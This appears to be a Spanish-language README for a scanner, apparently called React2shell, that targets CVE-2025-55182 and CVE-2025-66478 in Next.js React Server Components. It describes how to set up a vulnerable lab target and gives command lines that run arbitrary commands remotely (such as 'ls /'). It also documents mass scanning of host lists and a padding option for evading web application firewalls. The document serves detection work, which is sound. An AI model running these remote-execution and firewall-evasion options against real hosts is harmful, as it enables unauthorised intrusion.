
CVE-2025-55182(Vulnerabilidad de ejecución remota de código por deserialización en React Server Components)
| Componente | Versión recomendada para la reproducción | Rango de versiones vulnerables |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) y superiores |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 o 19.2.0 | 19.0.0 a 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 a 19.2.0 |
Forzar la instalación de versiones anteriores
cd cve-2025-55182-target
npm install --force
Verificar las versiones de las dependencias
npm list react next
# Confirma que la salida muestre [email protected] y [email protected]
Siempre que la lista de dependencias de nivel superior muestre [email protected] y [email protected], el entorno se habrá fijado correctamente en un estado vulnerable; se pueden ignorar las advertencias y los códigos de error que aparezcan aquí.
Compilar:
npm run build
Ejecutar:
npm start
El servidor escuchará en http://localhost:3000. Una vez finalizada la configuración del entorno, puede comenzar la verificación de la vulnerabilidad.
Detección de vulnerabilidades / escaneo:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Una herramienta de línea de comandos para detectar las vulnerabilidades CVE-2025-55182 y CVE-2025-66478 en los React Server Components (RSC) de aplicaciones Next.js.
Para una descripción detallada de los detalles técnicos de la vulnerabilidad y de los métodos de detección, consulte nuestra publicación de blog: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
De forma predeterminada, el escáner envía una solicitud POST multipart especialmente diseñada que contiene una carga útil de verificación de RCE para realizar una operación matemática determinista (41*271 = 11111). Los hosts vulnerables devuelven el resultado del cálculo en el encabezado de respuesta X-Action-Redirect en forma de /login?a=11111.
El escáner prueba primero la ruta raíz. Si la ruta raíz no es vulnerable, sigue las redirecciones del mismo origen (por ejemplo, de / a /en/) y prueba el destino de la redirección. No sigue redirecciones entre dominios.
El uso del indicador --safe-check activa el modo de detección segura, que se basa en señales indirectas (como el código de estado 500 y resúmenes de error específicos) sin ejecutar código en el objetivo. Utilice este modo cuando no se desee ejecutar un RCE.
El uso del indicador --waf-bypass añade datos de relleno aleatorios antes del cuerpo de la solicitud multipart. Esto ayuda a evadir las detecciones de WAF que solo analizan la parte inicial del cuerpo de la solicitud. El tamaño predeterminado es de 128 KB y se puede configurar mediante --waf-bypass-size. Cuando la evasión de WAF está activada, el tiempo de espera se incrementa automáticamente a 20 segundos (salvo que se configure explícitamente).
El uso del indicador --windows cambia la carga útil de Unix shell (echo $((41*271))) a PowerShell (powershell -c "41*271"), para objetivos que se ejecutan en Windows.
pip install -r requirements.txt
Escanear un solo host:
python3 scanner.py -u https://example.com
Escanear una lista de hosts:
python3 scanner.py -l hosts.txt
Escanear con múltiples hilos y guardar los resultados:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Escanear con encabezados de solicitud personalizados:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Usar la detección segura por señales indirectas:
python3 scanner.py -u https://example.com --safe-check
Escanear objetivos Windows:
python3 scanner.py -u https://example.com --windows
Escanear con evasión de WAF:
python3 scanner.py -u https://example.com --waf-bypass
Ejecutar un comando RCE:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url URL única a comprobar
-c, --cmd Comando a ejecutar
-l, --list Archivo con hosts (uno por línea)
-t, --threads Número de hilos concurrentes (por defecto: 10)
--timeout Tiempo de espera de la solicitud en segundos (por defecto: 10)
-o, --output Archivo de salida para guardar los resultados (formato JSON)
--all-results Guardar todos los resultados, no solo los hosts vulnerables
-k, --insecure Deshabilitar la verificación de certificados SSL
-H, --header Encabezado de solicitud personalizado (se puede usar varias veces)
-v, --verbose Mostrar los detalles de respuesta de los hosts vulnerables
-q, --quiet Mostrar solo los hosts vulnerables
--no-color Deshabilitar la salida en color
--safe-check Usar detección segura por señales indirectas en lugar del PoC de RCE
--windows Usar carga útil de Windows PowerShell en lugar de Unix shell
--waf-bypass Añadir datos de relleno para evadir la detección de contenido del WAF
--waf-bypass-size Tamaño de los datos de relleno en KB (por defecto: 128)
El PoC de RCE fue divulgado públicamente en un principio por @maple3142: agradecemos enormemente su contribución al publicar un PoC funcional.
Esta herramienta se creó inicialmente para la detección segura de este RCE. Esta funcionalidad sigue disponible mediante el modo de detección segura --safe-check.
Los resultados se muestran en la terminal. Cuando se utiliza el parámetro -o, los hosts vulnerables se guardan en un archivo JSON con la solicitud y la respuesta HTTP completas para su verificación.